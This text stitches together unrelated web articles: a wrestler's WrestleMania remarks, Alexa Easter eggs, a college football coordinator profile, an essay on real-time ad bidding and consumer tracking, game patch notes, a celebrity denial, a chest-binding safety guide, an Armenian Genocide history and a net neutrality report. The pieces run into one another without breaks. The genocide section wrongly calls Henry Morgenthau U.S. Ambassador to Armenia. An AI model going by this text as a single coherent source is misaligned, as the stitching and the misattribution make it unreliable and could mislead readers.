It’s not the first time Bryan has been tested by WWE. The fan favorite whose entry spurs the “Yes! Yes! Yes!” chant says he was initially told no, no, no by WWE brass as far as being in the WrestleMania XXX main event.
Although in storylines Bryan was cast as a “B-plus” player who wasn’t destined for stardom, Bryan confirms that life was truly imitating art.
“I can tell you 100 percent for a fact that I was not supposed to be in the main event at WrestleMania 30,” Bryan said.
He said he initially was supposed to face Sheamus in the fifth or sixth match, but truly got the last laugh leading up to the show when fan reaction forced WWE’s hand.
“That is one of the coolest things about WWE and wrestling in general,” Bryan said. “The fans have this very unique voice, and this very unique power, and in no other sport and no other form of entertainment can the fans make their voices heard and it affect change.”The intelligent personal assistant, Alexa, has a wide variety of humorous responses for your funny questions. Listed here are 200+ Easter eggs found on devices like the Amazon Echo, Echo Dot, Echo Show, Echo Spot, Amazon Tap, and every other Alexa enabled device.
Have Alexa answer your deepest, darkest questions about the meaning of life, whether Skynet is coming, or other pop culture questions that'll make you smile.
Being an intelligent voice assistant, Alexa loves telling you about Star Wars, Star Trek, robotics, as well as her thoughts on Siri, Google, and Cortana.
So have fun with your Amazon Echo and try out these 200 funny questions that are sure to impress friends, family, and yourself. Remember that some of these questions can get up to three different responses!
P.S The comments have even more Easter eggs. Additionally, the "things to try section" in your Alexa app receives dozens of new Easter Eggs each week.STARKVILLE, Miss. -- You have to be a little bit crazy to work inside these four walls. There are no windows to glimpse humanity. No one on the outside can hear you scream. Listening to Linkin Park is OK, if not encouraged. There's gibberish scribbled everywhere.
A photo of Inspector Todd from "Beverly Hills Cop" is taped to one wall. A printout of a wide-eyed, blushing emoticon wearing a Philadelphia Phillies hat is pinned to another. Who knows why? The only thing that can explain this is that when a bunch of overly energized men sit in a room together for hours on end, strange things happen.
This is where football lives. This is where Mississippi State's Psycho Defense begins.
Geoff Collins sits at the head of the table in his defensive war room Tuesday, champing at the bit for this weekend's showdown with No. 2-ranked Auburn. The 43-year-old defensive coordinator -- the "Minister of Mayhem," according to his official Mississippi State bio -- has a large cup of sweet tea beside an unopened can of Diet Mountain Dew. The over/under on the number of slime-green soft drinks he consumes in a given day is seven, he says. He keeps two 24-packs under his desk at all times. He had an extra-large coffee earlier this morning and will squeeze in a 5-hour Energy at some point before heading home around midnight.
He's crazy all right, players and fellow coaches say. If his sideways hat and unlaced bright orange shoes don't convince you, just have him list his priorities on defense.
"Having fun, flying around, energetic, violent, a little bit crazy," he says.
As soon as Collins leaves the room to meet with coach Dan Mullen in his office, the energy of the space goes down a notch. Two graduate assistants peck away at computers while someone's version of a pump-up mix plays in the background. G.A. Justin Hinds says there's a genius to Collins' eccentricity. Behind those wild blue eyes -- the kind that stare at you with so much intensity they seem to shake -- is a coach who knows how to fire up his players, and more important, gets them to understand what can be a complex system by boiling down the most intricate details into easily digestible parts.
"It's like 'A Beautiful Mind,'" Hinds says, gesturing toward a wall-to-wall white board filled with coverages and blitzes diagrammed on every available inch of space. "He's a unique thinker."
* * *
Collins takes off his hat, brushes back his hair and puts on, of all things, tortoise shell reading glasses. The Psycho is gone. Sitting in an afternoon staff meeting covering special teams and recruiting, he's transformed from the ringleader of a caffeine-fueled circus to a calm and collected assistant.
Behold, Collins' "Swag Chalice," which he uses as part of a daily beverage intake of seven Diet Mountain Dews, a 5-hour Energy and more. Courtesy of Mississippi State
Only once do coaches mention defending Auburn's vaunted spread offense. There's a respect for Gus Malzahn's system. It's simple but genius, they say. You can know what's coming and still not stop it.
On third-and-long, Collins tells everyone to look for No. 1 and No. 18. It almost always goes to Sammie Coates or Duke Williams, he says. The numbers bear that out: On third down and 6 yards or more, Williams and Coates have been targeted 12 and nine times, respectively. No one else has been targeted more than twice.
Mississippi State's defense ranks second in the SEC with a third-down conversion percentage of 26.5. Against Texas A&M's high-powered offense last weekend, it forced seven punts. Through Saturday, the Bulldogs lead the SEC and rank fifth nationally in disrupted dropbacks, which combines sacks, passes defended, interceptions and batted balls.
Dak Prescott may be a Heisman Trophy contender and Mullen's offense may be flying high, but make no mistake: Mississippi State is a program long built on defense. Collins, with his Swag Chalice (see right) and Juice Points (awarded to whoever has the most "juice" on a given play), has taken it from good to great by putting his own spin on things.
"That's what Coach Mullen likes, he doesn't want a robot," assistant head coach Tony Hughes says. "He wants exotic.
"Geoff is a 21st century, cutting edge coordinator that thinks out of the box."
* * *
The players start off low: "Psych-o.... defense... psych-o... defense."
Before long it's a full-throated yell coming from the locker room.
"It just builds and builds and gets louder," Collins says. "By the end they're jumping up and down and screaming."
Mississippi State's defense plays with energy because that's what its coordinator demands.
"It's mayhem," redshirt sophomore linebacker Beniquez Brown says. "It's juice, excitement, just having fun. Psycho Defense is going crazy for the man beside you."
Cornerback Taveze Calhoun's first impression of Collins might say it all: "He's got a lot of swag."
"It's rare," he says. "Most coaches want you to do technique. He tells you to play with passion, have swag, play with juice, play with excitement. He brings a different feel to the game."
But don't let theatrics fool you. Behind the adrenaline and masculinity lies a thinker who traveled to Paris during the offseason and visited the Sacre-Coeur Basilica. As a G.A. at Fordham University and Georgia Tech, he did his post-grad studies in psychology.
Football is all a chess game, he says, "with kids that run 4.4 and are 6-5 and 300 pounds."
LB Benardrick McKinney is one of many players who have thrived under the organized chaos of Collins. John David Mercer/USA TODAY Sports
"The psychological point has always been fascinating to me: the motivation, the X's and O's, the cerebral part of the game," he says. "But with that, you still have to get kids to have fun and play hard. The balance between those, being a high-level thinker but then still having enough juice and energy to relate to 18-22 year old kids."
Richie Brown has seen both sides. A lover of psychology himself, the redshirt sophomore linebacker and his defensive coordinator have bonded over discussions of how the brain works. Recently Collins lent Brown a copy of Malcolm Gladwell's book "Blink."
"It's just about precognitive recognition," Brown says, "knowing something before it happens, anticipation, knowing that your brain knows things even if you're not consciously aware.
"For example, seeing a play in a certain formation and certain depths and widths of players and understanding and knowing and anticipating what's going to happen."
That lesson seems to have paid off. Last week, Brown set a school record with three interceptions of Texas A&M's Kenny Hill, who entered the game having thrown 17 touchdowns and just two picks.
"He's the foundation," Brown said of Collins. "He's really developed us as players mentally as well as physically."
Maybe the Minister of Mayhem, the architect of the Psycho Defense and the carrier of the Swag Chalice is on to something. He may seem like the guy forever bouncing off the walls, but at the same time he's a free thinker.
That balance is what connects. It's what gets players to buy in and allows Mississippi State's Psycho Defense to drive the rest of the SEC nuts.Google and Facebook have each been expanding their use of real-time bidding. In June, Facebook announced that it would introduce a new service called Facebook Exchange, which will enable advertisers to send promotions for Spanish hotels, say, to Facebook users who have searched for trips to Spain.
Should we worry about ads aimed specifically at us everywhere we go on the Web and, increasingly, on our mobile devices too? Yes, and not just because the ads can be invasive and annoying. Real-time bidding also makes the online marketplace less of an even playing field, allowing companies to send loyalty points or discounts — or price increases — to individuals based on their perceived spending power. The travel site Orbitz, after learning that Mac users spend 30 percent more on hotel rooms than P.C. users, has started to send Mac users ads for hotels that are 11 percent more expensive than the ones that P.C. users are seeing, according to a recent Wall Street Journal article.
Of course, many consumer breaks are unfair, and we readily accept that the cost of airline tickets, for example, varies from one passenger to another on the same flight. But our consumer profiles are beginning to define us in all of our online interactions, and a result may be that we get different prices at the mall — or different news articles and campaign ads on our mobile devices — based on a hidden auction system that we’re unable to alter or control.
This is the darker side of the online personalization that otherwise delights us on our iPhones and tablets. At the Mobile World Congress in Barcelona in 2011, Eric Schmidt, now the executive chairman of Google, said that mobile devices would soon “do things we haven’t begun to think of,” like storing details of our preferences and tastes and offering location-based suggestions that anticipate our desires and our questions before we’ve even asked them. Of course, a world where Google tells us what we should be doing next is, for each of us, a world of one inhabitant — a place that we never consciously chose to enter and from which there’s no exit. From the perspective of companies like Google and BlueKai, I am not the consumer — I am the product, waiting to be sold to advertisers. Inevitably, some people will be considered more valuable products than others, and they will live in different virtual worlds as a result.
Beginning in the “Mad Men” era and continuing into the early Internet age, TV networks and magazine publishers sold ad space by persuading advertisers that their audiences included demographic groups likely to buy particular products. In the 1950s, it has been said, 95 percent of the success of advertising agencies came from the creative department, which designed the ads, and only 5 percent from the media department, which paid to place the ads. But the rise of independent media-buying firms has made it possible to identify the individuals most likely to be receptive to ads. This is bad news for magazines and newspapers: once advertisers were able to track and reach specific consumers, they became less interested in where their ads appeared and more interested in who, specifically, was seeing them.
This shift is transforming the economy of online advertising. Google still depends largely on ads tied to search. These are based merely on whatever terms you enter at a particular moment: search for “Hawaiian vacations,” and ads for Hawaiian hotels are likely to pop up on the results page. Such ads, which resemble old-fashioned classifieds, produced a vast majority of Google’s nearly $38 billion in revenue in 2011. On the other hand, only 0.1 percent of all display ads, which are more like magazine ads, with text and images that can appear anywhere, are clicked, according to one estimate.
But as consumers flock to devices like smartphones and tablets, the potential of personalized display ads is making them increasingly popular with advertisers. Since 1994, when Lou Montulli, an employee at Netscape, created the cookie as a way of distinguishing online shoppers, it has been possible to track the activities of individual users on particular Web pages. It wasn’t until the following decade, however, that real-time bidding first used cookies to tag individual Web browsers so that their users could be sent display ads at various Web sites. This makes it possible to build comprehensive profiles of users and then conduct an auction among advertisers to show a display ad to targeted users across tens of thousands of Web sites. Google hopes its revenue from ads that are not tied to search queries will grow significantly. In 2010, the worldwide business in display ads was about $25 billion, Neal Mohan, Google’s vice president of display advertising, told me. But, he added, “there’s no reason that $25 billion couldn’t be $100 billion in a few short years” — as the industry delivers more and more ads to mobile phones, tablets, smartphones and even interactive televisions.
Photo
When I visited the offices of BlueKai last year, I met Omar Tawakol, who helped found the company in 2008. After studying mechanical engineering at M.I.T., Tawakol went to grad school for computer science at Stanford, where he became obsessed with the idea that data about individual Internet users could be valuable in itself, regardless of where it was collected. “Right now, data looks like black, gooey material,” Tawakol told me at his office in Cupertino, Calif. “Oil was to the industrial revolution as data is to our information economy.” His sense of the potential scope of the marketplace he would help create is reflected in the name he chose for his company: “kai” means “ocean” in Hawaiian.
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BlueKai’s customers — which have included travel sites, like Kayak and Expedia, that want to advertise to individual consumers — now track more than 80 percent of the U.S. online population and have created more than 200 million individual profiles based on what we browse and buy online. (By some estimates, there are more than two profiles for every person in the United States.) At the time of my visit, Tawakol told me that over the previous 30 days, BlueKai’s cookies indicated that 38 million people had been to travel sites, and 635,000 of them had plugged in “Hawaii” as a destination. Next, he explained how the BlueKai data exchange then worked. Let’s say you’re planning a trip to Hawaii. You visit a travel site that works with a data intermediary like BlueKai. With the travel site’s cooperation, BlueKai puts a cookie on your computer that records the fact that you have looked up flights from San Francisco to Maui with a seven-day advance purchase. BlueKai’s extensive partnership network enables it to follow more than 160 million people every month who are looking to buy things like cars, financial services, retail and consumer goods or travel accommodations. By sorting users into categories based on our interests and purchasing power — “midscale thrift spenders,” for example, or “safety-net seniors” — BlueKai’s software helps advertisers determine how much each of us is worth following, and at what price. Advertisers for Hawaiian hotels, restaurants, car-rental companies, souvenir shops and so on then place bids starting at one or two cents for each anonymous consumer.
The winning bidder — the Maui Hyatt Regency, for instance — next goes to an advertising exchange, like Google’s DoubleClick Ad Exchange, which conducts a separate auction to determine what the Hyatt has to pay to send you an ad whenever you show up on a Web page that has a relationship with DoubleClick. The Hyatt bids against the entire pool of other would-be advertisers who may not know that you want to vacation in Hawaii and therefore bid less to send you an ad. The automated auction is conducted in real time, which means that as soon as the Maui Hyatt wins the auction, its ad shows up within milliseconds of your loading a given Web page. “What real-time bidding did is to open up a world where the advertising buyer can come in and very specifically, person per person, decide who they want at what price,” Tawakol said. On one occasion after I searched for flights to Maui on Orbitz, the display ad that suddenly showed up at the top of The New Republic home page was for package deals to Kahakuloa Bay.
Two years ago, Tawakol concluded that businesses would rather create their own user profiles and restructured his data exchange accordingly. BlueKai no longer collects and sorts data about consumers; it provides the software that enables Web sites to track their users and put them into market segments. A travel site where you look into flights to Honolulu, for example, will take your profile to a real-time bidding exchange and bid on the right to flood you with ads about Hawaiian hotels, no matter where you show up on the Web. “This is shockingly big, now that people are using their own data,” Tawakol told me. “We’re talking about 80 billion times a day” that ad transactions are taking place. In addition to changing the structure of the data exchange, Tawakol also expanded a separate BlueKai service — its “data management platform” — that allows advertisers to send customers ads or discounts across a range of digital platforms — from the Web to mobile devices and eventually to Web TV.
As Tawakol contemplates the future, he imagines a personalized world that extends beyond users’ Web experiences. “There will be a concept of a unique and anonymous consumer across platforms — online, offline, mobile and digital TV,” he said. “If you’re looking for a trip to Hawaii online, you will see an offer on your mobile phone and your home TV.” Tawakol added that “once we figure out the privacy rules” the tracking will all be connected: “Ads you see on TV will be informed by where you logged in, what you saw online and what products you’re using.”
Joseph Turow calls this ubiquitous tracking and personalization “the long click.” A professor at the Annenberg School for Communication at the University of Pennsylvania, Turow characterizes the process in his book “The Daily You: How the New Advertising Industry Is Def
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use in combos when looking for optimal damage.
Sword Neutral Air: Decrease Time to Hit from 15 to 14.
Sword Recovery: Decreased Damage from 18 to 16.
Hammer
Players have always applied interesting followup attacks after a Hammer Recovery, so we have leaned further into that purpose, trading some of the knockout potential for better use in on-stage strings.
Hammer Recovery: Decrease Force from 38 Variable/48 Fixed to 36 Variable/48 Fixed; Decreased self-impulse on hit from -70 to -62.
Spear
We have shifted some power from the Neutral Air into the Ground Pound, as players cited over-reliance on one and sparing use of the other. Following this, we have made the Neutral Air a more committal action, as well as providing slightly less advantage on hit as Stun time has not been adjusted with the Recover Time on both hit and miss. Players will find the Ground Pound a bit safer to attack with when ending the attack without colliding with the ground, as well as slightly increased advantage on hit as Stun has not been adjusted.
Spear Neutral Air: Increased Recover Time from 16 Variable/7 Fixed to 17 Variable/7 Fixed.
Spear Ground Pound: Decreased Recover Time on release from 28 Variable/2 Fixed to 26 Variable/2 Fixed.
Rocket Lance
The Rocket Lance’s air kit has had a longer recover time imposed on miss to allow for more counter-play. Given that the Neutral Air does not have built-in movement seen in other Rocket Lance attacks, players should have an easier time approaching a Lance-wielding opponent.
Rocket Lance Neutral Air: Increased Recover Time on miss from 15 Variable/3 Fixed to 17 Variable/3 Fixed.
Bow
The Down Light was an overly committal attack for the current pace of the game, given its very low attack height and coverage. While we keep an eye on the Bow, this should provide more versatile use of its ground kit in unexpected situations.
Bow Down Light: Decreased Recover Time on miss from 20 Variable/4 Fixed to 20 Variable/2 Fixed.
Axe
The Axe sees some significant change this week, with a hefty force increase on the Side Light, which provides a breakpoint to Down Light followups, launching the target out of range for ground attacks, but within range of aerial pursuit. This breakpoint at higher damage ranges the farther away the target is from the user, with grounded followups lasting longer for close range Side Light hits. The power from the Side Light as a combo and string tool has been shifted into the Neutral Air in the form of greater Stun time and leaving the target closer in range.
Axe Side Light: Changed Force from 3 Variable/50 Fixed to 16 Variable/54 Fixed.
Axe Neutral Air: Decreased Force on a soft-hit from 23 Variable/47 Fixed to 23 Variable/44 Fixed; Increased Stun from 28 to 29.
Gauntlets
The Gauntlets Recovery provides a versatile attack that can be used in strings, combos, and the neutral game. We have widened some of the combo and string routes involving this attack by increasing the Time to Hit. While still fast enough for reliable use in the neutral game, players should have an easier time escaping from the Recovery when used as a followup attack.
Gauntlets Recovery: Increased Time to Hit from 10 to 11; Increased Recover Time from 8 Variable/0 Fixed to 10 Variable/0 Fixed.
Scythe
The Scythe has received extra recover time on its Down Light in exchange for greater force on the grounded release of the Down Air. While still providing less knockback than the aerial release, as its role has been to provide better followups when engaging on an opponent using the Down Air, we have brought its force values closer to those of the aerial release, primarily when the target is heavily damaged.
Scythe Down Light: Increased Recover Time on miss from 15 Variable/0 Fixed to 16 Variable/0 Fixed.
Scythe Down Air: Increased Force on the grounded-release version from 28 Variable/0 Fixed to 30 Variable/20 Fixed.
New Legend Rotation
This week’s New Legend Rotation features Asuri, Diana, Orion, Sentinel, Teros, and Val!
Bug Fixes
Fixed bug causing glory payment option button to display behind the mammoth coins sale button when sometimes viewing a legend skin while it is on sale.
Fixed bug causing contextual hotkey buttons to not correctly swap in the rewards screen when switching from keyboard to controller devices.
— PS4 Report —
The PS4 Closed Beta has begun with the first batch of codes being sent out this past week! We’re going to be slowly adding more participants in waves as we continue knocking out early bugs. We also hope to have EU Beta Codes soon!Wyclef Jean I Am NOT Collaborating With Amanda Bynes
Wyclef Jean -- I Am NOT Collaborating with Amanda Bynes
EXCLUSIVE
won't be releasing an album with's help any time soon -- reps for the former Fugees rapper tell TMZ, Clef has NO intention to collaborate with the wig-wearing tornado of confusion.There were reports Bynes and Wyclef would be joining forces for Amanda's upcoming album on Chinga Chang records -- after the label's CEO Daniel Herman went on the record saying he was bringing the two together for an explosive collaboration.But Wyclef's management says it's just not gonna happen, telling TMZ, Wyclef has no intention of working with Amanda.In fact, Wyclef's people say he's never even spoken to Amanda.But it's not the end of the world, right? Paris Hilton didn't have Wyclef's help.For most of my life, I had a pretty flat chest and happily so because it reflected the "gender is B.S. and I am a rainbow of possibilities" identity I'd always had. Then, a few years ago, I went from kind-of-flat to Christina Hendricks seemingly overnight due to a hormonal change, and I was not pleased. Not because she's not stupidly gorgeous, but because I viewed myself as more of a tomboy, and having a more traditionally feminine figure felt strange and foreign to me. So I looked into chest-binding.
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Chest-binding basically just means flattening your breasts using a binder, which is like a super-tight sports bra. Many transgender men bind because they can't afford top surgery or decided not to get it.
Jackson Treece, 29, told me he never liked his breasts while he was growing up and "leapt at the chance" to bind them saying, "[Binding] offered me the ability to shove something that was bothering me to the back of my mind and not have to worry about it." Some people, like Ollie Fjor'Skera, 25, really don't like binding, saying, "It hurts, it makes my shoulders sore, it's hard to breathe, binders are expensive, and it's hard to find a really good one," but they'd rather deal with all of those problems than the body dysphoria they have related to their chest.
When you do a Google search for chest-binding, you get a slew of information, which is mostly links to chest binders that may or may not be too small or too painful or poorly made or super expensive or won't work if you're over a B cup. And then you get a bunch of additional information about how if you bind the wrong way, you can seriously hurt yourself, so you end up feeling like, "OK, so then WTF am I supposed to do with these boobs I'm not thrilled with having?"
To spare you the same confusion, I spoke with a bunch of queer women and transgender men who know how to bind responsibly.
1. Find a store that will let you try the binder on IRL. Dan Simpson, 36, says there's a store in Chicago called Early To Bed that lets you try binders before you buy one so you can make sure you're getting the correct fit, as opposed to guessing with online measurements like a boob mathematician. Every binder manufacturer has a different sizing system, so having a friend help you measure and making sure your measurements are accurate as possible will help, but it still might take some trial and error (see: returns and exchanges) if you do it online.
2. Don't order a binder that's too small for you thinking it'll make you even flatter. I know that seems logical, but Simpson says that if you order one that's too small for you, it can be extra painful. Searah Deysach, 42, who doesn't bind herself but owns aforementioned feminist sex shop Early To Bed, which sells binders, says point blank that if you can't breathe in your binder, you need to go up a size because duh, you need to breathe. It's not worth being a little flatter if you can't be alive while you're doing it.
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3. Don't use your DIY skills to create a chest binder just because some character you saw in the movies did that. Any time you've seen binding in the movies, it was probably someone like Christina Ricci's character in Now and Then taping down her boobs, but Deysach says using Ace bandages, tape, or other DIY items can be harmful to your health because "tape is terrible for your skin, and Ace bandages can get tighter and tighter." Treece adds that the point of binding is to compress the tissue evenly and those methods often don't do that. They also don't breathe, which can impair your ability to tolerate long-term binding. So don't do that, OK?
4. And don't cut costs on your binder if you can help it. Treece notes that there are a lot of binder exchange programs out there for low-income people (often young transgender men) and many transgender YouTuber peeps will auction off their old binders after they get top surgery. But, Treece says, "If you're willing to spend $50+ on a bra to support you and your back, why not spend $30 on a binder that won't cut off your circulation, give you nerve damage, or possibly cause you a trip to the ER?" This means avoiding the $3 to $5 binders you might see online shipping from Hong Kong. The pain is not worth the savings.
5. You can totally bind by just wearing sports bras, but they might not make you as flat as you'd like to be. Deysach says that tons of people use sports bras to bind, but actual binders that cover more of your chest will often give you a flatter profile overall.
6. If you have big breasts, don't expect binding to be as easy and effortless as it looks in movies starring A-cup actresses. If you don't have Ruby Rose's nearly-flat chest and you're trying to bind, Jackie H., 37, says you'll experience something much different than someone who has an small cup size. Jackie recommends Underworks compression tanks, binders, and tri-top binders for thicker bodies and larger cup sizes. Sybil Hawthorne, 35, says she's a 32DDD and can get to a pretty flat chest by doubling up on binders, so that can be an option as well. But pro tip: If you have more tissue to flatten, it has to go somewhere, and for Jackie it landed in their stomach and hip area, which meant their pants stopped fitting well.
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7. Try to limit the amount of time you wear your binder as much as possible. I know it's tempting to want to have a flatter chest all the time, but Deysach recommends only binding for as few hours a day as possible and never sleeping in your binder, so you can let your body relax for a while. Treece also doesn't recommend working out in your binder if you can help it, since it can restrict your breathing. If you absolutely must wear it, he recommends wearing a looser binder and making sure your binder isn't making you move differently. Caleb, 23, says he's fallen asleep in his binder once or twice and it was awful, saying, "Binding constricts your ribs and diminishes your lung capacity, so I was really sore the next day or two, and had to take it extra easy on myself." Not worth it.
8. Getting in and out of your binder will be as awkward as taking off a pair of tights in front of someone, if not moreso. Treece says it's even more awkward if your skin is moist, but even if it's not, your binder will likely stick to you or pull on your skin or trap your limbs, causing you to spastically muscle in or out of it. It's not gonna be graceful. Just sayin'.
9. Binding might exacerbate other medical conditions you had previously. Sofia B., who suffers from Crohn's disease, says her nausea would get a lot worse when she would bind her chest, so now she limits binding to only a few times per year. It's tough to say why that happened, but since improper (and even proper) binding can cause shortness of breath and other issues, talk to the doctor you see for any medical conditions before you start binding.
10. Binding might make you feel like you're in that hot hot Miami heat 24/7. Hawthorne says she never thought that just adding two more pieces of fabric (aka two binders) would make her overheat so much, but it does. "I've gone to clubs and danced while binding, and it's really uncomfortable and sweaty and gross," she said. Jen Laws, 30, of PerfectFitBrand, added that they often have to change midway through the day because the sweating is so intense, so carrying a backup binder is a cool plan.
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11. Yes, you can do something about the potential chafing. Jackie recommends Body Glide, which looks like a mini deodorant stick and will help your skin under the creases and crevices of your binder so you don't chafe. It's the same stuff athletes use it for biking and running.
12. Oh my god, wash your binder. Treece says it's even more important to wash your binder than it is to wash your bra (which, TBH, most of us don't do that often, EEK) because it's covering more of your body than a bra does and, as we've been over, you're going to sweat in it a lot. Similar to a bra, you're best off hand-washing it so it doesn't get damaged.
13. But you're definitely going to want to line dry your binder. Don't put that thing in the dryer after you wash it! Laws says dryers do a number on the elastic, and it'll stretch out much more quickly.
14. If your partner loves you, they'll love your decision to bind. While most people I spoke with said they're lucky to have supportive partners and family members who knew about their binding and were fine with it, Fjor'Skera says they've had partners who would tell them they didn't "need" to bind or that they were jealous of their breasts. Fjor'Skera is non-binary and says they're happier now that they have a partner who understands binding and body dysphoria (and that their partner helps them put on the binder because it's not always easy to do alone.)
15. There will come a time when your binder will be ready to retire (and that could be a few months or a few years, depending on how often you use it and how well it was made). J. Michael, 35, says he likes to buy one at a time and keep a few in rotation because he hates when binders get older and start lacking in compression and increasing in stinkiness, so it's good to get some new ones now and then.
Follow Lane on Twitter and Instagram.Hitler did not fear retribution for the Holocaust. Why? He didn’t think the world would care, asking as he prepared to invade Poland “Who today still speaks of the massacre of the Armenians?”In 1915, there were 2 million Armenians living in the declining Ottoman Empire. But under the cover of World War I, the Turkish government systematically destroyed 1.5 million people in attempts to unify all of the Turkish people by creating a new empire with one language and one religion. This ethnic cleaning of Armenians, and other minorities, including Assyrians, Pontian and Anatolian Greeks, is today known as the Armenian Genocide. Despite pressure from Armenians and activists worldwide, Turkey still refuses to acknowledge the genocide, claiming that there was no premeditation on the deaths of the Armenians.
Precursors to Genocide
History of the Region
The Armenians have lived in the southern Caucasus since the 7th century BC and have fought to maintain control against other groups such as the Mongolian, Russian, Turkish, and Persian empires. In the 4th century, the reigning king of Armenia became a Christian. He mandated that the official religion of the empire be Christianity, although in the 7th century AD all countries surrounding Armenia were Muslim. Armenians continued to be practicing Christians, despite the fact that they were many times conquered and forced to live under harsh rule.
The roots of the genocide lie in the collapse of the Ottoman Empire. At the turn of the 20th Century, the once widespread Ottoman Empire was crumbling at the edges. The Ottoman Empire lost all of its territory in Europe during the Balkan Wars of 1912-1913, creating instability among nationalist ethnic groups.
The First Massacres
There was growing tension between Armenians and Turkish authorities at the turn of the century. Sultan Abdel Hamid II, known as the “bloody sultan”, told a reporter in 1890, “I will give them a box on the ear that will make them relinquish their revolutionary ambitions.”
In 1894, the “box on the ear” massacre was first of the Armenian massacres. Ottoman forces, military and civilians alike attacked Armenian villages in Eastern Anatolia, killing 8,000 Armenians, including children. One year later, 2,500 Armenian women were burned to death in Urfa Cathedral. Around the same time, a group of 5,000 were killed after demonstrations begging for international intervention to prevent massacres upset officials in Constantinople. By 1896, historians estimate that over 80,000 Armenians had been killed.
The Rise of the Young Turks
In 1909, the Ottoman Sultan was overthrown by a new political group – the “Young Turks”, a group eager for a modern, westernized style of government. At first, Armenians were hopeful that they would have a place in the new state, but they soon realized that the new government was xenophobic and exclusionary to the multi-ethnic Turkish society. To consolidate Turkish rule in the remaining territories of the Ottoman Empire, the Young Turks devised a secret program to exterminate the Armenian population.
WWI
In 1914, the Turks entered World War I on the side of Germany and the Austro-Hungarian Empire. The outbreak of war would provide the perfect opportunity to solve the “Armenian question” once and for all.
Military leaders accused Armenians of supporting the Allies under the assumption that the people were naturally sympathetic toward Christian Russia. Consequently, Turks disarmed the entire Armenian population. Turkish suspicion of the Armenian people led the government to push for the “removal” of the Armenians from the war zones along the Eastern Front.
Genocide Begins
Transmitted in coded telegrams, the mandate to annihilate Armenians came directly from the Young Turks. Armed roundups began on the evening of April 24, 1915, as 300 Armenian intellectuals – political leaders, educators, writers, and religious leaders in Constantinople – were forcibly taken from their homes, tortured, then hanged or shot.
The death marches killed roughly 1.5 million Armenians, covered hundreds of miles and lasted multiple months. Indirect routes through wilderness areas were deliberately chosen in order to prolong marches and keep the caravans away from Turkish villages.
In the wake of the disappearance of the Armenian population, Muslim Turks quickly assumed ownership of everything left behind. The Turks demolished any remnants of Armenian cultural heritage including masterpieces of ancient architecture, old libraries and archives. The Turks leveled entire cities including the once thriving Kharpert, Van and the ancient capital at Ani, to remove all traces of the three thousand year old civilization.
No Allied power came to the aid of the Armenian Republic and it collapsed. The only tiny portion of historic Armenia to survive was the easternmost area because it became part of the Soviet Union. The University of Minnesota’s Center for Holocaust and Genocide Studies compiled figures by province and district that show there were 2,133,190 Armenians in the empire in 1914 and only about 387,800 by 1922.
An Unsuccessful Call to Arms in the West
At the time, international informants and national diplomats recognized the atrocities being committed as an atrocity against humanity.
Leslie Davis, U.S. consul in Harput noted, “these women and children were driven over the desert in midsummer and robbed and pillaged of whatever they had … after which all who had not perished in the meantime were massacred just outside the city.”
In a 1915 letter home, Swedish Ambassador Per Gustaf August Cosswa Anckarsvärd noted, “The persecutions of the Armenians have reached hair-raising proportions and all points to the fact that the Young Turks want to seize the opportunity … [to] put an end to the Armenian question. The means for this are quite simple and consist of the extermination of the Armenian nation.”
Even Henry Morgenthau, the U.S. Ambassador to Armenia, noted “When the Turkish authorities gave the orders for these deportations, they were merely giving the death warrant to a whole race.”
The New York Times also covered the issue extensively — 145 articles in 1915 alone — with headlines like “Appeal to Turkey to Stop Massacres.” The newspaper described the actions against the Armenians as “systematic,” “authorized,” and “organized by the government.”
The Allied Powers (Great Britain, France, and Russia) responded to news of the massacres by issuing a warning to Turkey, “the Allied governments announce publicly that they will hold all the members of the Ottoman Government, as well as such of their agents as are implicated, personally responsible for such matters.” The warning had no effect.
Because Ottoman Law prohibited taking pictures of Armenian deportees, photo evidence that documented the severity of the ethnic cleansing is rare. In an act of defiance, officers from the German Military Mission documented atrocities occurring in concentration camps. While many pictures were intercepted by Ottoman intelligence, lost in Germany during WWII, or forgotten in dusty drawers, the Armenian Genocide Museum of America has captured some of these photos in an online exhibit.
Portraits of survivors of the Armenian Genocide Museum in Yerevan. The inscription reads, “These eyes have seen Genocide. Portraits of survivors of the Armenian Genocide Museum in Yerevan. The inscription reads, “These eyes have seen Genocide.
Recognizing Genocide
Today Armenians commemorate those who lost their lives during the genocide on April 24, the day in 1915 when several hundred Armenian intellectuals and professionals were arrested and executed as the start of the genocide.
In 1985, the United States named this day “National Day of Remembrance of Man’s Inhumanity to Man”, in “honor of all of the victims of genocide, especially the one and one-half million people of Armenian ancestry who were the victims of the genocide perpetrated in Turkey.”
Today, recognizing the Armenian Genocide is a hot-button issue as Turkey criticizes scholars for both inflating the death toll and for blaming Turks for deaths that the government says occurred because of starvation and the cruelty of war. In fact, speaking about the Armenian genocide in Turkey is punishable by law. As of 2014, 21 countries total have publicly or legally recognized this ethnic cleansing in Armenia as genocide.
In 2014, on the eve of the 99th anniversary of the genocide, Turkish Prime Minister, Recep Tayyip Erdogan, offered condolences to the Armenian people, saying, “The incidents of the first world war are our shared pain.”
However, many feel that offerings are useless until Turkey recognizes the loss of 1.5 million people as genocide. In response Erdogan’s offering, Armenian President Serzh Sarkisian said, “The denial of a crime constitutes the direct continuation of that very crime. Only recognition and condemnation can prevent the repetition of such crimes in the future.”
Ultimately, the recognition of this genocide is not only important to redress the affected ethnic groups, it is essential for the development of Turkey as a democratic state. If the past is denied, genocide is still occurring. A Swedish Parliament Resolution asserted in 2010 that, “the denial of genocide is widely recognized as the final stage of genocide, enshrining impunity for the perpetrators of genocide, and demonstrably paving the way for future genocides.”The evidence for repealing net neutrality rules isn't good enough, Senator Edward Markey (D-Mass.) told Federal Communications Commission Chairman Ajit Pai yesterday.
Pai claims that the rules issued in 2015 are reducing investment in broadband networks, but Markey pointed out during a Senate hearing that ISPs have not reported any dramatic problems to their investors.
Markey said:
Publicly traded companies are required by law to provide investors accurate financial information, including reporting any risks or financial burdens. However, I have found no publicly traded ISP that has reported to its investors by law that Title II has negatively impacted investment in their networks. Many, in fact, have increased deployment and investment.
(Title II of the Communications Act authorizes the FCC to regulate common carriers and was used by the FCC to impose net neutrality rules.)
Markey's point is one that we've made before. ISPs are quick to tell the FCC and the public that Title II is harming network investment, but they have presented a much rosier view when talking to investors. Publicly traded companies are required to give investors accurate financial information, including a description of risk factors involved in investing in the company.
Senator vs. chairman
Yesterday, Pai appeared in front of the Senate Commerce Committee, which is considering President Trump's nomination of Pai for another five-year term on the FCC. The Senate is also considering the nominations of Republican Brendan Carr and Democrat Jessica Rosenworcel.
